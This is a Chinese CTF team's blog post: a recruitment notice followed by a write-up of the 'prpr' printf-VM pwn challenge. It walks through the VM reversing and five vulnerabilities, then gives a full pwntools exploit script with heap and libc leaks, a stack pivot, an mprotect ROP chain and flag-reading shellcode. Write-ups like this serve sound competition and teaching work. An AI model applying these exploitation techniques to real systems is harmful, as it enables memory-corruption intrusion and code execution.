N0wayBack 联合战队成立以来一直致力于信息安全技术的研究,作为联合战队活跃在各大 CTF (信息安全竞赛)赛事之中,并依靠着过硬的实力吸引了无数同样热爱安全的小伙伴。
战队现有师傅20余名,特训学生10余名,包括了研、本科学生,企、事业单位员工以及网安实验室成员,内部氛围融洽,关系和谐。
虽然我们可能身份各异、年龄跨岭,但在这里,我们只有一个身份,那就是热爱网安的CTFer。
· CTF赛龄1年以上
· 热爱网络安全,喜欢CTF
· 无人际交流障碍,不以阴阳怪气为乐;乐于奉献、热爱分享,愿意提升自己同时帮助他人
· 时间允许参加各类赛事,服从战队管理与安排
· 各类比赛获奖者、能力出众者视情况考量
· 急需二进制大牛
· 联系人:Cain 叶师傅
· 简历邮箱:[email protected]
前言
实不相瞒这是我做出的第一道VM PWN,起初我以为这题也会是像之前没做出的VM题一样,会直接给一个VM汇编执行器。只要逆向出输入汇编的方式,再找到一个越界的地方就get shell了。
但当我发现这题很难的时候,已经是我开始做它的第10个小时了,十个小时的逆向是见它的门槛。(当然,也有可能是我的逆向功底不够。听到很多团队都是合作逆出来的,天都塌了)
总之,原本做不出VM题的我,小小的爆了个种,用了40个小时(qwb当天睡了6小时,第二天通宵到8点做出来,打完差点噶了,一觉睡到2点,翘了两节课),做出来一道没机会碰远程的题。
概述
这道题是逆向选手经常会碰到的类型——“printf虚拟机”。
这种VM的特点是使用register_printf_function函数,注册一些函数,用来解析某些特定的格式化字符串
例如:
本题注册了Q,W,B,分别使用welcome,init,start_vm作解析
当运行到main函数时,就会先后调用welcome,init,start_vm
main:
printf_chk("%Q%W%B")
相当于每一个格式化字符串就是一个vm汇编。
在这个elf文件,会有一个地方存放一系列的格式化字符串,这就是vm_text段。它使用vm汇编实现了一些功能,
我们的任务是先理解这个vm的内存机制。随后找到vm的漏洞,拿到vm_shellcode的执行权。
随后想办法构造vm_shellcode,实现vm逃逸(即用vm的指令泄露主程序的信息,或者改写主程序的内存)
利用vm逃逸之后,就可以控制主程序进入rop,由于本题开启了沙箱,还需要打mprotect,使用主程序shellcode拿到flag
逆向过程
逆向之初,我们还不了解程序机制,必然要从主程序看起。
main函数可以看到一个printf_chk函数但由于ida不认识此类自定义的printf函数,看不到参数,看看汇编
找到%Q%W%B后到set_vm_code函数寻找对应的函数
Q是明显的welcome,也是我们打开程序后PrPr的来源
W开启了沙箱,只允许orw以及mprotect
B是一个和main类似,但格式化字符串变成Pro,回头继续寻找PRO
P调用了三次calloc,并且将两个的指针写到了另外一个上,更关键的是,这里将一个全局字符串拷贝入了刚刚分配的内存
跟进这个全局量,发现是一堆格式化字符串,但是中间有一定空间,有些格式化字符串后会带有数字,猜测为参数。得出以下结构体
用结构体标记该段数据
再数组化
再使用shift+e,就可以看到很规整的数据
{ { '%', 'x', ' ', ' ', ' ', ' ', ' ', ' ' }, 0 },
{ "%a", 0 },
{ "%Y", 1 },
{ "%U", 255 },
{ "%k", 1 },
{ "%r", 0 },
{ "%S", 0 },
(省略n行)
看到其他大佬用脚本解析了这段code,但我比较菜,我一边逆向一边使用全局替换,逆出来了这段vm源代码。这段数据先不逆向,先逆向主程序。
O对应的函数功能相当复杂,相当于是VM的系统。结合汇编分析出这个函数实现了跟随eip逐行执行vm汇编的功能,而eip的初始值来自参数。
一开始百思不得其解它是如何传参的,回到B函数看了一眼汇编之后顿悟了,它使用ecx寄存器传参,传入的初始值是71
同理,查看run_vm的汇编,寻找在printf时ecx的取值,发现其来自格式化字符串+8的地方,即 code->arg ,大彻大悟
至此,程序的框架理解完毕。
之后只需用亿点点的时间,逆向其内存机制及其格式化字符串对应的函数。
这里无他,唯手熟尔。我直接介绍结果,vm程序有以上函数,替换格式化字符串为函数名后得到vm汇编如下
vm_menu
71就是run_vm的eip初始值,即一开始就跳入菜单
71:
menu:
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
user_input
{ pop_r 0 },
{ push_a_num 1 },
{ push_r 0 },
is_equal
{ if_false_jump 79 },
{ call 1 },
{ jmp 71 },
79: { push_a_num 2 },
{ push_r 0 },
is_equal
{ if_false_jump 85 },
{ call 32 },
{ jmp 71 },
85: { push_a_num 3 },
{ push_r 0 },
is_equal
{ if_false_jump 91 },
{ call 110 },
{ jmp 71 },
91: { push_a_num 4 },
{ push_r 0 },
is_equal
{ if_false_jump 97 },
{ call 141 },
{ jmp 71 },
97:{ push_a_num 5 },
{ push_r 0 },
is_equal
{ if_false_jump 103 },
{ call 178 },
{ jmp 71 },
103:{ push_a_num 6 },
{ push_r 0 },
is_equal
{ if_false_jump 109 },
{ call 209 },
{ jmp 71 },
109: exit,
vm_fun1
这是一个and加密字符串的功能,由用户自定and的值
1:
user_input
{ pop_r 1 },
{ push_a_num 255 },
{ push_r 1 },
is_smaller
{ if_true_jump 0 },
{ push_r 1 },
{ push_a_num 0 },
is_smaller
{ if_true_jump 0 },
user_input
{ pop_r 2 },
{ push_a_num 63 },
{ push_r 2 },
is_smaller
{ if_true_jump 0 },
{ push_r 2 },
{ push_a_num 0 },
is_smaller
{ if_true_jump 0 },
{ push_r 2 },
{ push_a_num 4 },
mult
read_str_to_data
{ push_r 1 },
and_encode
{ push_r 2 },
{ push_a_num 4 },
mult
print_str_from_data
ret +++++++++++++++++++
vm_fun2
这是一个and加密数字的功能,由用户自定and的值
32:
user_input
{ pop_r 3 },
user_input
{ pop_r 4 },
{ push_a_num 63 },
{ push_r 4 },
is_smaller
{ if_true_jump 0 },
{ push_r 4 },
{ push_a_num 0 },
is_smaller
{ if_true_jump 0 },
{ push_a_num 0 },
{ pop_r 5 },
46:
{ push_r 4 },
{ push_r 5 },
is_smaller
{ if_true_jump 59 },
{ call 60 },
{ push_r 3 },
and
print_num
{ push_r 5 },
{ push_a_num 1 },
add
{ pop_r 5 },
{ jmp 46 },
59: ret
vm_fun60
这个函数由其他函数调用,call 60时就是调用该函数,所以索性叫它fun_60
60:
user_input
{ push_r 5 },
store_num_to_data
{ push_r 5 },
get_num_form_data
{ push_a_num 255 },
is_equal
{ if_true_jump 0 },
{ push_r 5 },
reach_a_char
ret
vm_fun3
这是一个Xor加密字符串的功能,由用户自定Xor的值
110:
user_input
{ pop_r 1 },
{ push_a_num 255 },
{ push_r 1 },
is_smaller
{ if_true_jump 0 },
{ push_r 1 },
{ push_a_num 0 },
is_smaller
{ if_true_jump 0 },
user_input
{ pop_r 2 },
{ push_a_num 63 },
{ push_r 2 },
is_smaller
{ if_true_jump 0 },
{ push_r 2 },
{ push_a_num 0 },
is_smaller
{ if_true_jump 0 },
{ push_r 2 },
{ push_a_num 4 },
mult
read_str_to_data
{ push_r 1 },
xor_encode
{ push_r 2 },
{ push_a_num 4 },
mult
write_s
ret
vm_fun4
这是一个Xor加密数字的功能,由用户自定Xor的值
141:
user_input
{ pop_r 3 },
user_input
{ pop_r 4 },
{ push_a_num 62 },
{ push_r 4 },
is_smaller
{ if_true_jump 0 },
{ push_r 4 },
{ push_a_num 0 },
is_smaller
{ if_true_jump 0 },
{ push_a_num 0 },
{ pop_r 5 },
{ push_r 4 },
{ push_r 5 },
is_smaller
{ if_true_jump 177 },
{ call 60 },
{ push_r 3 },
Xor
{ push_r 5 },
send_a_char
{ push_r 5 },
reach_a_char
{ push_a_num 255 },
is_equal
{ if_true_jump 0 },
{ push_r 5 },
reach_a_char
print_num
{ push_r 5 },
{ push_a_num 1 },
add
{ pop_r 5 },
{ jmp 155 },
ret
vm_fun5
这是一个or加密字符串的功能,由用户自定or的值
178:
user_input
{ pop_r 1 },
{ push_a_num 255 },
{ push_r 1 },
is_smaller
{ if_true_jump 0 },
{ push_r 1 },
{ push_a_num 0 },
is_smaller
{ if_true_jump 0 },
user_input
{ pop_r 2 },
{ push_a_num 63 },
{ push_r 2 },
is_smaller
{ if_true_jump 0 },
{ push_r 2 },
{ push_a_num 0 },
is_smaller
{ if_true_jump 0 },
{ push_r 2 },
{ push_a_num 4 },
mult
read_str_to_data
{ push_r 1 },
or_encode
{ push_r 2 },
{ push_a_num 4 },
mult
write_s
ret
vm_fun6
这是一个or数字的功能,由用户自定or的值
209:
user_input
{ pop_r 3 },
user_input
{ pop_r 4 },
{ push_a_num 63 },
{ push_r 4 },
is_smaller
{ if_true_jump 0 },
{ push_r 4 },
{ push_a_num 0 },
is_smaller
{ if_true_jump 0 },
{ push_a_num 0 },
{ pop_r 5 },
223:
{ push_r 4 },
{ push_r 5 },
is_smaller
{ if_true_jump 245 },
{ call 60 },
{ push_r 3 },
OR
{ push_r 5 },
send_a_char
{ push_r 5 },
reach_a_char
{ push_a_num 255 },
is_equal
{ if_true_jump 0 },
{ push_r 5 },
reach_a_char
print_num
{ push_r 5 },
{ push_a_num 1 },
add
{ pop_r 5 },
{ jmp 223 },
ret
vm函数逆向结论
fun1,3,5是同类函数,都实现了加密输出字符串的功能,只有加密方法的不同
1和5使用and和or,由于无法表示全部字符,可以只使用fun3
fun2,4,6是同类函数,实现了数字的加密输出
fun2和4,6不同,它在调用fun60后,不会将字符串放入一级data,而是放入二级data后直接输出
而fun4又与fun6不同,fun4的输入大小限制在252内,而不是256,弃置4
可以只使用fun2,6
此vm的自定义结构体
此vm使用这个大块存储stack和vm_data两个段,以及两个块指针
vm_data段是一个共用体,里面是char和int混着存的,并且是数据和返回地址混着存的
此vm的内存管理
这个vm最特殊的地方在于vm_data的管理,它的memory中具有100个vm_data。它们的使用方式遵循函数调用栈
每一级函数享有一级data段
举例:
menu->fun2->fun_60
整体的内存布局
漏洞发现
这个程序存在好几个不严谨的地方,全部找到并组合起来才能完成攻击
漏洞1(字符串加密函数越界加密)
三个加密函数中都存在此漏洞,未检验字符串输入长度,而是通过00鉴别字符串结尾
漏洞2(输入字符串不补充00截断)
存在于read_s函数
只有输入回车时会被替换为00,而read函数不依赖回车,可以直接使用send方法,不输入回车直接退出,避免00截断
漏洞3(run_vm函数未对eip为负数的情况作检验)
这个漏洞可以让我们将eip设置为负数,指向vm_data段,引起vm_shellcode执行
漏洞4(向data段存取数据时,在栈传参的分支,未对参数正负作检验)
这个漏洞可以填入一个负数作为参数,造成data段以上的数据任意读写
漏洞5(一个vm小漏洞,fun_60使用寄存器传参,存在寄存器残留)
fun_60依赖register 5传参
而register 5在fun2,4,6中均作为循环变量,在每一次加密之后自增,但最后并未清零,而是在下一次使用时清零。造成了在完成63次循环后,register 5可以残留为64,如果再次使用fun60,会造成越界写64号元素,即ret_addr
攻击链构造
利用漏洞1和漏洞2越界异或,在0-255内控制rip
漏洞1和漏洞2组合起来可以通过异或篡改ret_addr的值为0-255的任意值
先使用fun6填满1级data段,再使用fun3,输入一段不带回车的字符串,就可以越界异或ret_addr
由于fun2不使用一级data段,只在fun60内使用data,所以可以在使用fun6和fun3之间,用fun2在二级data段铺设vm_shellcode
利用漏洞5和漏洞3,形成gadget,任意控制rip
前一次使用register 5是在fun 2中,可以刻意控制fun2使用63次输入,使register 5残留为64.
再调用fun60就会修改该段的ret_addr
注意,前一次攻击是从一级data段退出,当前处于零级data段,所以再次ret会被判定溢出
所以一定 要使用call fun60作为gadget,不要直接跳入fun60。
跳入fun60后,计算text段到事先铺设的vm_shellcode的距离
由于漏洞3,eip可以控制为负数,跳到vm_data2上
使用read_s,在零级data,填入ROP链和shellcode
由上面的函数调用图可知,运行shellcode时处于零级data,里面是空的,可以填252字节内容。足以容纳ROP链和shellcode
在vm_shellcode中利用漏洞4,作越界读堆地址,越界改指针
步骤一
向get_num_form_data传入一个特定的负的参数,指向p_register,该函数会将指向的值读入栈中,再配合print_num_from_stack,就可以以十进制泄露堆地址,由于堆地址是64位指针,而vm是32位系统,需要分两次泄露
步骤二
向store_num_to_data传入偏移,和上一步偏移相同,用来修改p_register,篡改p_register到主程序的栈上,便于使用pop操作修改栈内容。
使用pop_r,篡改栈内容
使用pop_r的操作,将run_vm的old_rbp篡改到零级data的ROP链,将ret_addr改到leave_ret。准备栈迁移。
再次利用漏洞4,篡改text_size
篡改text_size 为一个比较小的负数-3000,run_vm函数会判定eip>text_size ,引起run_vm退出进入rop链,完成攻击
exp
from pwn import *
###################################################################
#板子区
def getProcess(ip,port,name):
global p
if len(sys.argv) > 1 and sys.argv[1] == 'r':
p = remote(ip, port)
return p
else:
p = process(name)
return p
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda x: p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
ita = lambda: p.interactive()
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b' '))
uu32 = lambda x: u32(x.ljust(4, b' '))
# return sl, sd, sa, sla, rc, rl, ru, ita, slc, uu64, uu32
def print_hex(bin_code):
# 转换为十六进制字符串,并在每个字节之间添加空格
hex_string_with_spaces = ' '.join(f'{byte:02x}' for byte in bin_code)
print(hex_string_with_spaces)
def gdba(x=''):
# 如果运行参数后面加了'n' 则不gdb
if len(sys.argv) > 1:
if sys.argv[1] == 'n':
return
if type(p) == pwnlib.tubes.remote.remote:
return
elif type(p) == pwnlib.tubes.process.process:
gdb.attach(p, x)
# print('',proc.pidof(p)[0])
# gdb.attach(proc.pidof(p)[0])
pause()
def log(message_int):
success(hex(message_int))
######################################################################
#配置区
context(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h'])
p=getProcess("8.147.129.74",34848,"./prpr")
libc=ELF("./libc.so.6")
#######################################################################
#自编函数区
def str_to_int32(msg):
msg=u32(msg.ljust(4,"."))
new_message=int(msg)
return str(new_message)
def send_shellcode(msg):
length=len(msg)
length=length//4+1
msg=msg.ljust(length*4,b".")
for i in range(length):
new_message=int(u32(msg[i*4:i*4+4]))
sl(str(new_message))
def make_vm_code(msg,arg=0):
msg=msg.ljust(4,"x00")
return msg.encode()+p32(0)+p32(arg)
#########################################################################
#核心攻击代码
############
#与fun6交互
#目标:填充一级data,便于利用fun3的xor_encode_data越界异或掉eip
sla("|_____| [___] |_____| [___]","6") #进入fun6 相或输出一个数字
sl("0") #需要或的数字为0,即不改变源数据
sl("63") #需要读入的数字数,由于使用小于等于,可以输入64个,占用256字节
#全部设置为#0xf1f1f1f1,向一级data段的253~256位置残留字符串,占用原有的00 便于异或返回地址
for i in range(64):
sl(str(0xf1f1f1f1))
###########
#与fun2交互
#目标:在二级data填入vm_shellcode,并残留register5为64
# (这个寄存器会为 fun_60 传参,代表开始读入的偏移量)
sl('2')#进入fun2(因为它不使用一级data,不会破坏刚刚填入的数据)调用 fun_60 向二级data段填vm_shellcode,便于vm逃逸
sl("0")#需要add的数据,不重要,随便填,只影响输出,不影响vm_shellcode在二级data的存储
sl("63")#向register5 残留值为 64
##########
#使用9次输入,泄露libc和stack
#由于未注册%p格式化字符串,可以使用该参数泄露主程序栈内容
for i in range(5):
sl(str_to_int32("%p%p"))
sl(str_to_int32("%p^^"))
sl(str_to_int32("%p^^"))
sl(str_to_int32("%p^^"))
sl(str_to_int32("%p~x00"))
######################################
#使用41次输入,填入一条vm_shellcode
sl(str_to_int32("%a"))# 输一个负数,代表memory的指针距离data的 偏移量,
sl(str_to_int32("%a"))# 输一个负数,代表memory的指针距离data的 偏移量
sl("0")
sl(str_to_int32("%#V"))# 调用 get_num_form_data ,将堆地址入栈便于泄露
sl(str_to_int32("%y"))# 堆地址分两次输出
sl("0")
sl(str_to_int32("%#V"))#
sl(str_to_int32("%y"))#
sl("0")
sl(str_to_int32("%a%a"))
sl(str_to_int32("%#X"))# 调用store_num_to_data,用栈地址覆盖memory中的register指针低位
sl("0")
sl(str_to_int32("%a%a"))
sl(str_to_int32("%#X")) #用栈地址覆盖memory中的register指针高位
sl("0")
sl(str_to_int32("%a%Y"))# 由于register指针已被篡改到栈上,通过pop操作,修改返回地址低位
sl("0")
sl("6")
sl(str_to_int32("%a%Y"))# 通过pop r0,修改rbp 低位
sl("0")
sl("0")
sl(str_to_int32("%a%Y"))# 通过pop r1,修改rbp 高位
sl("0")
sl("1")
##vm_shellcode跑到这里会触发输入
sl(str_to_int32("%a")) #设置读字符串长度 252
sl(str_to_int32("%c")) #触发read_s , 使用零级data,在里面填rop链
sl("0")
sl(str_to_int32("%a%a"))# 填一个负数,方便vm_main退出
sl("0")
sl("0")
sl(str_to_int32("%#X"))# 用一个很小的负数覆盖memory中的code_size 触发run_vm返回,进入rop
sl("0")
sl("0")
#应付多余的输入机会
for i in range(22):
sl("0")
#################################################
#与fun3交互
#目标:随便输点东西,和fun6中残留的字符串连在一块,方便一路异或到eip
sl('3')
sl("104")# 源eip为5a 异或104后会变为50 50:call 60
sl("1")
sd("b"*4) #要用send(),不输入n就不会有x00,可以连接之前的残留指针
############## !!!!!!!!!!!!!!!!!!!!!!!! ###################
# 注意,从这里开始,vm不再跟随原有逻辑,eip可控了,但它只能被控制一个字节,无法改到data段上运行我们的vm_shellcode
# 所以需要一次 fun_60,结合残留的 register5=64,可以以int形式控制rip
# 经过gdb调试,这个偏移对应我们的在fun2中控制的二级data段
sl("-2150")
############## !!!!!!!!!!!!!!!!!!!!!!!! ###################
# 这里程序正式跳转到我们的vm_shellcode,vm内的任意代码执行get,接下来开始寻求vm逃逸
# 即用vm修改主程序的内存,从而获得主程序shell
#vm_shellcode开头的%p在这里生效了,接收libc和stack
ru("^^")
libc_base=int(ru("^^")[:-2],16) -0x7f09401d5f03+0x7f0940162000
a_stack=int(ru("^^")[:-2],16) -0x7ffc87a7eb30+0x7ffc87a7e5d8 -24
log(libc_base)
log(a_stack)
##向get_num_form_data 传入一个代表memory->register的偏移的负数,这个指针是指向register结构体的堆指针,通过这个泄露堆地址
# sleep(0.5)
sl("-1003") #分两次输出64位的heap
sl("-1004")
# 把先前的的输出接收干净,接收堆地址
# 由于是32位输出,
# 注意分两次接收再合并
ru("~")
ru("~")
ru("~")
ru("....")
heap_l=int(rl()[:-1])
ru("...")
heap_h=int(rl()[:-1])
heap_base=(heap_h*0x100000000+(heap_l& 0xFFFFFFFF))-0x8d20
my_heap=heap_base+0x2680-8
log(heap_base)
############## !!!!!!!!!!!!!!!!!!!!!!!! ###################
# 从这一步开始,我们的操作就逃逸了vm,开始修改主程序的内存
##修改register指针,使其指向vm函数的栈底,准备栈迁移和修改返回地址,由于寄存器只有7个,但该程序使用gcc 12编译,不使用leave ret
##返回地址和old_rbp不相邻,而是间隔了2个64位块,7个32位块无法完全覆盖,这里选择低位覆盖返回地址,因为这里本身就是一个libc地址
##开了沙箱,不能用one,需要栈迁移后写rop,返回地址改为leave_ret地址
sl(str(a_stack//0x100000000))
sl("-1003")
sl(str(a_stack%0x100000000))
sl("-1004")
leave_ret=0x0562ec+libc_base
sl(str(leave_ret%0x100000000))
sl(str(my_heap%0x100000000))
sl(str(my_heap//0x100000000))
## old_rbp被改到了零级vm_data上,ret_addr被改为了leave_ret,栈迁移就绪
##为vm_shellcode中触发的 read_str_to_data 填入输入长度
sl("252")
## 将输入rop和shellcode写入零级data,提前铺设
pop_rdi=0x2a3e5+libc_base
pop_rsi=0x2be51+libc_base
pop_rdx_rbx=0x11f497+libc_base
pop_rsp=0x35732+libc_base
code=b'H1xc0H1xffH1xf6H1xd2Hxc7xc0x02x00x00x00Hxbf./flagx00x00WHx89xe7x0fx05Hxc7xc2x00x01x00x00Hx89xfeHx89xc7Hxc7xc0x00x00x00x00x0fx05Hxc7xc7x01x00x00x00Hxc7xc0x01x00x00x00x0fx05'
rop=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x8000)+p64(pop_rdx_rbx)+p64(7)+p64(0)+p64(libc.sym['mprotect']+libc_base)
rop+=p64(my_heap+80)+code
sl(rop)
## 将堆中的codes_size设置一个比较小的数字,使程序判断代码已执行完,vm结束,从而去取返回地址,控制控制流
sl("-3000")
log(my_heap)
# gdba("b * $rebase(0x0201E)")
## codes_size相对于vm_data段,偏移为-1006
sl("-1006")
ita()
题目附件
下载链接: https://pan.baidu.com/s/1bqI4o84-Bquwxsoq1idmug?pwd=mvph
提取码: mvph
原文始发于微信公众号(N0wayBack):关于40小时做出prpr而强网杯32小时这件事